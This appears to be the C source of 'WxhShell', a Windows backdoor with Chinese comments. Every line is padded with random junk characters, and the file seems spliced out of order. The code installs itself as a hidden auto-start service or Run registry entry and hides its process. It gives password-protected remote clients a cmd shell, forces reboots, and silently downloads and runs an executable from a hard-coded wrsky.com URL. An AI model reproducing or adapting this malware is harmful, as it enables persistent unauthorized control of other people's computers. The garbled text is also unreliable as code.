    if(Boot(SHUTDOWN)) &H@OLyC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d"4J)+q  
    else { "DNiVL.  
    closesocket(wsh); yBwCFn.uP-  
    ExitThread(0); r081.<  
    } &o*f*(C2  
    break; w 7 j hS  
    } g6T /k7a  
  // 获取shell SAw. 6<Wy-  
  case 's': { x3?:"D2  
    CmdShell(wsh); <gc\ ,P<ru  
    closesocket(wsh); -_|U"C$  
    ExitThread(0); i\u m;\  
    break; cv  /  
  } k'$UA$2d  
  // 退出 `}9jvR5  
  case 'x': { (GJW3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T*sB Wn'am  
    CloseIt(wsh); )\r;|DN  
    break; d|(@#*{T]  
    } -& \?Q_6  
  // 离开 a8!/V@a  
  case 'q': { vT>ki0P_;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7IH^5r  
    closesocket(wsh); 3[O;HS3|  
    WSACleanup(); an9k2 F.)  
    exit(1); /SDDCZ`;|c  
    break; XT 'v7  
        } MX{p)(HW  
  } i=G.{.  
  } atO/Tp  
!@[@xdV  
  // 提示信息 w- .=u3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;\Vi~2!8  
} /_ MEb42&  
  } cfEi]  
2m/=0sb\{  
  return; 'v*Y7zZ#K  
} .U:DuyT  
L=wg"$  
// shell模块句柄 hhVyz{u  
int CmdShell(SOCKET sock) m;"i4!  
{ =9ISsI\Y6  
STARTUPINFO si; D.\s mk  
ZeroMemory(&si,sizeof(si)); : {Crc   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fhZD#D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;0f?-W?1  
PROCESS_INFORMATION ProcessInfo; 'YcoF;&[C  
char cmdline[]="cmd"; gqf*;Z eU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T]tG,W1>i  
  return 0; Gf{FFIe(  
} g^EkRBU  
^K K6 d  
// 自身启动模式 _jW}p-j  
int StartFromService(void) H,!3s<1  
{ ?!J{Mrdn  
typedef struct m pWmExQ  
{ K8UgP?c;0  
  DWORD ExitStatus; elBmF#,j 7  
  DWORD PebBaseAddress; _g(4-\  
  DWORD AffinityMask; &_EjP hZ  
  DWORD BasePriority; T]%:+_,  
  ULONG UniqueProcessId; phA^ kdW  
  ULONG InheritedFromUniqueProcessId; $m;rOKVU  
}   PROCESS_BASIC_INFORMATION; KF[P /cFI  
l}$Pv?T,2  
PROCNTQSIP NtQueryInformationProcess; /J"U`/ {4  
[z1[4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `E),G;I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .D`""up|{  
G3&l|@5  
  HANDLE             hProcess; P'4jz&4  
  PROCESS_BASIC_INFORMATION pbi; C?3?<FDL  
[o=v"s't)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^sNj[%I R  
  if(NULL == hInst ) return 0; \666{.a  
j<LDJi>O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |\OG9{q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6^ ]Y])  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BQ ol>VRu  
t6u01r{~`  
  if (!NtQueryInformationProcess) return 0; }!-K)j.  
C>vp oCA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9*+%Qt,{B  
  if(!hProcess) return 0; XD 8MF)$9  
tp,e:4\ 8Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; od7 [h5r  
|X6]#&g7  
  CloseHandle(hProcess); NiwJ$Ah~X  
#O< 2wMb2<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gt9{u"o  
if(hProcess==NULL) return 0; ^uu)|  
Olg@ Ri  
HMODULE hMod; {/x["2a1  
char procName[255]; APgP*,  
unsigned long cbNeeded; qn+b*4  
eJB !|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [4qx+ypT  
l0m\2Ttf  
  CloseHandle(hProcess); Q]Fm4  
z@nJ-*'U8  
if(strstr(procName,"services")) return 1; // 以服务启动 4wZ{Z 2w  
wsyG~^>  
  return 0; // 注册表启动  6[<*C?  
} l%?D%'afN  
U`D.cEMfH  
// 主模块 \@6nRs8b|N  
int StartWxhshell(LPSTR lpCmdLine) (Z YGfX  
{ h]rF2 B  
  SOCKET wsl; Gu-*@C:^&  
BOOL val=TRUE; 0k?ph$  
  int port=0; QPf#y7_@u  
  struct sockaddr_in door; W?a2P6mAh  
rRN7H L+b  
  if(wscfg.ws_autoins) Install(); NM0[yh  
8#gS{   
port=atoi(lpCmdLine); lD;="b  
!H`Q^Xf}  
if(port<=0) port=wscfg.ws_port; BTXS+mvl  
[/}y!;3iXM  
  WSADATA data; qV%t[>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #OKzJ"g  
I<q=lK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *RQkL'tRf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "JLKO${ Y  
  door.sin_family = AF_INET; .!ThqYo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); { jnQoxN  
  door.sin_port = htons(port); }U=|{@%  
 q$$:<*Uy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e>-a\g  
closesocket(wsl); fX,L;Se"  
return 1; 6B)3SC  
} }E5oa\ 1u  
=(f+geA"hm  
  if(listen(wsl,2) == INVALID_SOCKET) { 'E2\e!U/  
closesocket(wsl); e Ir|%  
return 1; W|K"0ab  
} :/N/u5.]  
  Wxhshell(wsl); &C eG4_Mi  
  WSACleanup(); 7q&//*%yF  
9]AiaV9  
return 0; biCX: m+_?  
i,Yq oe`  
} _c=[P@  
h&3*O[`  
// 以NT服务方式启动 Ex'6 WN~kD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %[:\ZwT,-  
{ M <oy  
DWORD   status = 0; ({#9gTP2b  
  DWORD   specificError = 0xfffffff; xkIRI1*!  
x.rOP_rs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (R _#lRaQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [C PgfVz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H[ 6L!  
  serviceStatus.dwWin32ExitCode     = 0; }QszOi\fV1  
  serviceStatus.dwServiceSpecificExitCode = 0; _pSCv:3T  
  serviceStatus.dwCheckPoint       = 0; ~429sT(   
  serviceStatus.dwWaitHint       = 0; <#U9ih 2  
;-=Q6Ms8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vc.:du  
  if (hServiceStatusHandle==0) return; -2}-;|  
'-s Ai  
status = GetLastError(); En:.U9?X  
  if (status!=NO_ERROR) bkQEfx.  
{ \ltA&}!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [|ghq  
    serviceStatus.dwCheckPoint       = 0; 2IgTB|2  
    serviceStatus.dwWaitHint       = 0; mE3^5}[>  
    serviceStatus.dwWin32ExitCode     = status; B+G,v:)R6z  
    serviceStatus.dwServiceSpecificExitCode = specificError; {EKzPr/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cd36f26`"w  
    return; 0h~Iua5  
  } $sDvE~f0n  
N;cEf7+f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I g/SaEF  
  serviceStatus.dwCheckPoint       = 0; p`// *gl  
  serviceStatus.dwWaitHint       = 0; 8r^~`rL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pyEi@L1p  
} T:ye2yg  
/"A)}>a  
// 处理NT服务事件,比如:启动、停止 S/}6AX#F4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :DP%>H|  
{ B3V:?#  
switch(fdwControl) <qD/ #$   
{ J:  
case SERVICE_CONTROL_STOP: Mg H,"G  
  serviceStatus.dwWin32ExitCode = 0; $dAQ'\f7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +*2wGAT  
  serviceStatus.dwCheckPoint   = 0; o9)pOwk7;  
  serviceStatus.dwWaitHint     = 0; Y>KRI2](<  
  { tETT\y|'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #%CbZw@hJ9  
  } Z:VqBqK  
  return; {@1C,8n;  
case SERVICE_CONTROL_PAUSE: OR[6pr@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \Q+9sV 5,[  
  break; 808E)  
case SERVICE_CONTROL_CONTINUE: ,3_;JT"5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $x,?+N  
  break; i>!7/o  
case SERVICE_CONTROL_INTERROGATE: [6@{^  
  break; sY4sq5'!  
}; %T]NM3|U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IwC4fcZX6  
} 0be1aY;m&  
8spoDb.S  
// 标准应用程序主函数 2@``=0z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zzsQfI#  
{ v,Lv4)  
P-9[,3Zd  
// 获取操作系统版本 3$Ew55  
OsIsNt=GetOsVer(); "(y",!U@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -TKS`,#  
70p1&Y7or  
  // 从命令行安装 8X=cGYC#  
  if(strpbrk(lpCmdLine,"iI")) Install(); TRwlUC3hQ  
B .p&,K  
  // 下载执行文件 l6Hu(.Ls;j  
if(wscfg.ws_downexe) { 4`F(RweGx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >$=-0?.  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]3tg|? %B  
} ;SAurG$  
uU v yZ  
if(!OsIsNt) { &fJ92v?%^S  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fy|tKMhnc  
HideProc(); T9r"vw  
StartWxhshell(lpCmdLine); av>c  
} E"l&<U  
else rj qX|  
  if(StartFromService()) Ju3-ZFUS4  
  // 以服务方式启动 "0o1M\6Z  
  StartServiceCtrlDispatcher(DispatchTable); fj X~"U  
else ZD{%0 uh  
  // 普通方式启动 +]|aACt]  
  StartWxhshell(lpCmdLine); hzIP ?0^E  
{@Y|"qIN  
return 0; h8;B+#f`  
} 6~8A$:  
UW7*,Bq  
5Hvg%g-c  
:TU;%@7  
=========================================== %M{qr!?uj  
z-|gw.y  
pKDP1S# <  
1@Dp<Q  
3V:{_~~  
44 bTx y  
" }qy,/<R  
~m^.&mv3/  
#include <stdio.h> ~ZeF5  
#include <string.h> (9:MIP  
#include <windows.h> 6@pP aq6  
#include <winsock2.h> L3:dANG  
#include <winsvc.h> b_= $W  
#include <urlmon.h> Xd%c00"U  
!mNXPqnN  
#pragma comment (lib, "Ws2_32.lib") m&/{iCwp  
#pragma comment (lib, "urlmon.lib") ;h[p "  
oh+Q}Fa:  
#define MAX_USER   100 // 最大客户端连接数 32!jF}qpD  
#define BUF_SOCK   200 // sock buffer V@gweci  
#define KEY_BUFF   255 // 输入 buffer F"2v5F@  
mdxa^#w  
#define REBOOT     0   // 重启 p2T%Zl_  
#define SHUTDOWN   1   // 关机 % 1Y!|306  
( ON n{12Q  
#define DEF_PORT   5000 // 监听端口 L[\m{gN  
n1OxT"tD  
#define REG_LEN     16   // 注册表键长度 .kpL?_  
#define SVC_LEN     80   // NT服务名长度 l`9<mL  
YXE?b@W"  
// 从dll定义API X`km\\*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lz>YjK:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f49pIcAq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6?y<F4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uq<kT[  
+We_[Re`<  
// wxhshell配置信息 0TA{E-A   
struct WSCFG { D BDHe-1[+  
  int ws_port;         // 监听端口 &YQ  
  char ws_passstr[REG_LEN]; // 口令 40TS=evG  
  int ws_autoins;       // 安装标记, 1=yes 0=no KL:x!GsV5e  
  char ws_regname[REG_LEN]; // 注册表键名 \7W>3  
  char ws_svcname[REG_LEN]; // 服务名 <a/TDW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 , ~^0AtLv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eELJDSd BV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OO?d[7Wt0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r':wq   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g ycjIy@t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W}&[p=PAS  
r0ml|PX  
}; FEqs4<}E  
(XtN3FTY  
// default Wxhshell configuration eQh@.U*S)  
struct WSCFG wscfg={DEF_PORT, ]IbX<  
    "xuhuanlingzhe", {"X n`@Y  
    1, b~;gj^  
    "Wxhshell", \)Sa!XLfT  
    "Wxhshell", E6"+\-e  
            "WxhShell Service", h LYy  
    "Wrsky Windows CmdShell Service", [?rK9I&  
    "Please Input Your Password: ", GT$.#};u  
  1, +"8 [E~Bih  
  "http://www.wrsky.com/wxhshell.exe", )!+M\fT  
  "Wxhshell.exe" 8U,VpuQ:  
    }; [ kI|Thx  
sT.;*3{  
// 消息定义模块 H4%2"w6|!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0V*B3V<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sywSvnPuYZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hc?8Q\O:  
char *msg_ws_ext="\n\rExit."; RbPD3& .  
char *msg_ws_end="\n\rQuit."; /Y=Cg%+  
char *msg_ws_boot="\n\rReboot..."; f4A;v|5_  
char *msg_ws_poff="\n\rShutdown..."; =l6aSr  
char *msg_ws_down="\n\rSave to "; cj ?aCVa  
rG7E[kii  
char *msg_ws_err="\n\rErr!"; ;pk4Voo$  
char *msg_ws_ok="\n\rOK!"; eqvbDva^  
8 MIn~  
char ExeFile[MAX_PATH]; T: zO9C/  
int nUser = 0; WXJEAje  
HANDLE handles[MAX_USER]; >*DR>U  
int OsIsNt; &PY~m<F  
0$RZ~  
SERVICE_STATUS       serviceStatus; }xZR`xP(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +NML>g#F~z  
e/+_tC$@p@  
// 函数声明 3khsGD@  
int Install(void); l&rS\TCkp  
int Uninstall(void); ITcgp K6k  
int DownloadFile(char *sURL, SOCKET wsh); MBy0Ky  
int Boot(int flag); k'O^HMAn!  
void HideProc(void); =Uy;8et  
int GetOsVer(void); a%\6L  
int Wxhshell(SOCKET wsl); % zP ]z  
void TalkWithClient(void *cs); ,4kly_$BH  
int CmdShell(SOCKET sock); Q-A:0F&{t  
int StartFromService(void); pib i#  
int StartWxhshell(LPSTR lpCmdLine); L{;Sc_  
_=,\uIrk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R _#x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =;9 %Q{  
MW^(  
// 数据结构和表定义 @Z0?1+k  
SERVICE_TABLE_ENTRY DispatchTable[] = Q7<%_a  
{ ;E,^bt<U  
{wscfg.ws_svcname, NTServiceMain}, G$#Q:]N  
{NULL, NULL} 'G] P09`*)  
}; NC]]`O2r@  
2o8:[3C5  
// 自我安装 %S$P<nKN5  
int Install(void) isU7nlc!  
{  :P,g,  
  char svExeFile[MAX_PATH]; U;SReWqU  
  HKEY key; 0L->e(Vf7u  
  strcpy(svExeFile,ExeFile); 8 $5 y]%!  
}~W:3A{7;  
// 如果是win9x系统,修改注册表设为自启动 w&c6iFMd0  
if(!OsIsNt) { xIt'o(jQH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y-Iu&H+\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zv[D{  
  RegCloseKey(key); .AB n$ml]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y!z2+q2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *}F>c3x]  
  RegCloseKey(key); #@pgB:~lB  
  return 0; QoLp$1O (y  
    } %@L[=\ 9  
  } -|z ]Ir  
} ar&j1""  
else { }-Ds%L  
`ef C4#*!!  
// 如果是NT以上系统,安装为系统服务 "Wz8f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fAEgrw%Ti  
if (schSCManager!=0) ni2GZ<1j  
{ q fc:%ks2  
  SC_HANDLE schService = CreateService ye<b`bL2.  
  ( GtuA94=!V&  
  schSCManager, `!Z0; qk  
  wscfg.ws_svcname, Fb2,2Px  
  wscfg.ws_svcdisp, 3!l+) g  
  SERVICE_ALL_ACCESS, lw\+!}8(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \eF _Xk[  
  SERVICE_AUTO_START, 9f#~RY|#m  
  SERVICE_ERROR_NORMAL, !+UU[uM  
  svExeFile, ~^{>!wU+  
  NULL, }l>\D~:M  
  NULL, pwF+ZNo  
  NULL, ^_4e^D]P"  
  NULL, /EIQMZuYp  
  NULL Ob~7w[n3  
  ); ]QU 9|1  
  if (schService!=0) `p!&>,lrk  
  { MV{\:l}y  
  CloseServiceHandle(schService); [ Xa,|  
  CloseServiceHandle(schSCManager); %fT%,( w}t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -R]Iu\  
  strcat(svExeFile,wscfg.ws_svcname); vU,V[1^a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &6feR#~A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bUzo>fm_  
  RegCloseKey(key); TS_5R>R3  
  return 0; f:9b q}vH  
    } `w6*(t:T  
  } (HEi;  
  CloseServiceHandle(schSCManager); 3 as~yF0  
} opXxtYC@  
} K N Y  
)_&P:;N  
return 1; ndmsXls  
} bIWSNNV0F  
JpRn)e'Z  
// 自我卸载 4Wd H!z  
int Uninstall(void) ]/9@^D}&  
{ x/pX?k  
  HKEY key; ybC0Ee@  
Aaw]=8 OI  
if(!OsIsNt) { -l Y,lC>{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m >Rdsn~l  
  RegDeleteValue(key,wscfg.ws_regname); A_!N,< -  
  RegCloseKey(key); H9\,;kM)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "u.'JE;j  
  RegDeleteValue(key,wscfg.ws_regname); D_N0j{E  
  RegCloseKey(key); }>5R9  
  return 0; HUFm@?  
  } h]Y,gya[yk  
} |C"zK  
} |EGC1x]j=  
else { rNK<p3=7)  
}PXtwp13&u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bA-/"'Vp9  
if (schSCManager!=0) KqL+R$??"(  
{ D03QisH=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <.Dg3RH  
  if (schService!=0) U!GfDt  
  { 3v91yMx  
  if(DeleteService(schService)!=0) { .rw a=IW  
  CloseServiceHandle(schService); o5E5s9n  
  CloseServiceHandle(schSCManager); GI<3L K\  
  return 0; z"D0Th`S6  
  } #ZC9=  
  CloseServiceHandle(schService); * lJkk  
  } { v  [  
  CloseServiceHandle(schSCManager); !C&  ^%a  
} ` t>A~.f  
} !gm@QO cF  
h]]B @~  
return 1; N!//m?}  
} !C;$5(k  
N;HG@B!m  
// 从指定url下载文件 y]okOEV0  
int DownloadFile(char *sURL, SOCKET wsh) :caXQ)  
{ Hmx Y{KB  
  HRESULT hr; z41v5rB4  
char seps[]= "/"; NY GWA4L  
char *token; m;JB=MZ=m  
char *file; X%98k'h.y  
char myURL[MAX_PATH]; ?orLc,pU^  
char myFILE[MAX_PATH]; qoP /` Y6  
]i/Bq!d l  
strcpy(myURL,sURL); /,yRn31[  
  token=strtok(myURL,seps); Zet80|q  
  while(token!=NULL) vd [?73:C  
  { Y<t(m$s  
    file=token; V/+D]  
  token=strtok(NULL,seps); 5K,=S  
  } <c&Nm_)  
O9*l6^Scw  
GetCurrentDirectory(MAX_PATH,myFILE); =`k', V_  
strcat(myFILE, "\\"); =p[a Cb i  
strcat(myFILE, file); ".{'h  
  send(wsh,myFILE,strlen(myFILE),0); oO^=%Mc(  
send(wsh,"...",3,0); yf2P6b\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eUKl(  
  if(hr==S_OK) gle<{ `   
return 0; 4$y P_3  
else p Le[<N  
return 1; KRM:h`+-.-  
n#5S-z1KNw  
} F@b=S0}K  
1'%n?\OK66  
// 系统电源模块 $T6+6<  
int Boot(int flag) )SHB1U25{  
{ ! mZWd'  
  HANDLE hToken; t 2,?+q$x  
  TOKEN_PRIVILEGES tkp; e8eNef L$  
ZUakW3f  
  if(OsIsNt) { oL7F^34;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h2 y<vO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FY)US>  
    tkp.PrivilegeCount = 1; ]wUH*\(y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s~m]>^?8MR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '?$R YU,  
if(flag==REBOOT) { k+zskfo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +*IRI/KUD  
  return 0; %us#p|Ya  
} 8<{i=V*x4  
else { \ cdns;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T0@$6&b%\z  
  return 0; as(Zb*PdH  
} ><qA+/4]_  
  } )XDbg>  
  else { |zJ2ZE|  
if(flag==REBOOT) { BdP+>Ij  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ')TS'p,n  
  return 0; k#-%u,t  
} 2AW*PDncxP  
else { {(l,Uhxl""  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GHO6$iM)[  
  return 0; (v&iXD5t  
} (3Z;c_N  
} !xU[BCbfYV  
7b7WQ7u  
return 1; !8YA1 o  
} >=86*U~  
+(Jh$b_  
// win9x进程隐藏模块 VNs3.  
void HideProc(void) %Iiu#- 'B  
{ }tQ^ch;Q  
-56gg^Pnr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >[ g=G  
  if ( hKernel != NULL ) BDCyeC,Q3  
  { p*U!94Pb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @}s EP&$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dsg-;*%  
    FreeLibrary(hKernel); /CUBs!  
  } Bh&dV%'  
a+j"8tHu$  
return; O"#/>hmv-  
} kJ?AAPC  
k\r^GB  
// 获取操作系统版本 5z:#Bl-,L  
int GetOsVer(void) %a]Imsm  
{ > qPP_^]  
  OSVERSIONINFO winfo; j@{B 8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ltKMvGEF  
  GetVersionEx(&winfo); {B4.G8%Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^v+p@k  
  return 1; czsnPmNEI  
  else q0b*#j  
  return 0; DPkH:X  
} ,b:~Vpb1I  
">5$;{;2r  
// 客户端句柄模块 {w@9\LsU  
int Wxhshell(SOCKET wsl) =ui3I_*)  
{ 9ji`.&#  
  SOCKET wsh; =mSu^q(l  
  struct sockaddr_in client; MY^o0N  
  DWORD myID; ;0`IFtz  
>I',%v\?@  
  while(nUser<MAX_USER) LQR^lD+_=  
{ HBZ6Pj  
  int nSize=sizeof(client); dkeMiL m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ko)f:=Qo  
  if(wsh==INVALID_SOCKET) return 1; 7EVB|gTp  
bn7g!2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nb ?(zDJ8  
if(handles[nUser]==0) cI&XsnY  
  closesocket(wsh); Gzs$0Ki=  
else Y[W:Zhl;  
  nUser++; 50`|#zF^#  
  } {vT9I4d8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'dqecmB  
W0}FOfL9  
  return 0; Rd<K.7&A}  
} >s )L(DHa"  
5hh6;)  
// 关闭 socket LnM$@  
void CloseIt(SOCKET wsh) ;%k C?Vzi  
{ xZY7X&C4  
closesocket(wsh); $R+rB;=a!  
nUser--; <AK9HPxP  
ExitThread(0); .Hk.'>YR  
} R7KV @n  
$<"I*l@  
// 客户端请求句柄 0M?zotv0#  
void TalkWithClient(void *cs) o' v!83$L  
{ yivWT;`  
~SmFDg$/m  
  SOCKET wsh=(SOCKET)cs; xu{VU^'Y  
  char pwd[SVC_LEN]; fWb+08}C  
  char cmd[KEY_BUFF]; )1YX+',"  
char chr[1]; 2.\"Q  
int i,j; Y/?z8g'p  
LXZI|K[}k  
  while (nUser < MAX_USER) { 0g~Cdp  
G&t|aY-   
if(wscfg.ws_passstr) { 7#SfuZ0@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x&"P^gh)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p/G9P +?  
  //ZeroMemory(pwd,KEY_BUFF); 5m;BL+>YE  
      i=0; GDb V y)&  
  while(i<SVC_LEN) { 6G}4KGQc  
ddbQFAQQQ  
  // 设置超时 T%;NW|mH&  
  fd_set FdRead; z.+%{_pe  
  struct timeval TimeOut; 1f'msy/  
  FD_ZERO(&FdRead); 6!N2B[9  
  FD_SET(wsh,&FdRead); A8o)^T(vJ  
  TimeOut.tv_sec=8; i g .  
  TimeOut.tv_usec=0; P s<k2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5X9Lh_p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Pa?{}A  
+zXcTT[V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IVa6?f6H_  
  pwd=chr[0];  ;]bW  
  if(chr[0]==0xd || chr[0]==0xa) { '&2-{Y [!  
  pwd=0; 27}7 n  
  break; Z~}9^(qc  
  } 9M ;Y$Z  
  i++; M?o_J4  
    } /8Z&Y`G  
eKo=g|D  
  // 如果是非法用户,关闭 socket ;lS sy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L)1\=[Ov  
} `C$QR 8  
-F 9 xPw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h0HK~S#xBv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~|N,{GaL  
`U|zNizO  
while(1) { 0cVxP)J+  
mIPDF1= )  
  ZeroMemory(cmd,KEY_BUFF); $RunGaX!=N  
~ Nf|,{[(5  
      // 自动支持客户端 telnet标准   fL("MDt  
  j=0; .g?D3$|K  
  while(j<KEY_BUFF) { ,?HM5c{'[Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2\1bQ q\  
  cmd[j]=chr[0]; u} +?'B)  
  if(chr[0]==0xa || chr[0]==0xd) { h%NM%;"H/  
  cmd[j]=0; Qpj[]c5  
  break; nJ/}b/A{  
  } YW&`PJ9o  
  j++; p L^3*B.Nr  
    } `M. I.Z_  
%<'.c9u5  
  // 下载文件 6eA)d#  
  if(strstr(cmd,"http://")) { I6gduvkXi4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YpRhl(|  
  if(DownloadFile(cmd,wsh)) jSRi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UX<)hvKj  
  else pf+VYZ#)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tkkh<5{C   
  } F2ISg'  
  else { ?;.=o?e9  
;>;it5 l=  
    switch(cmd[0]) { "Nz@jv?  
  (ss,x CF  
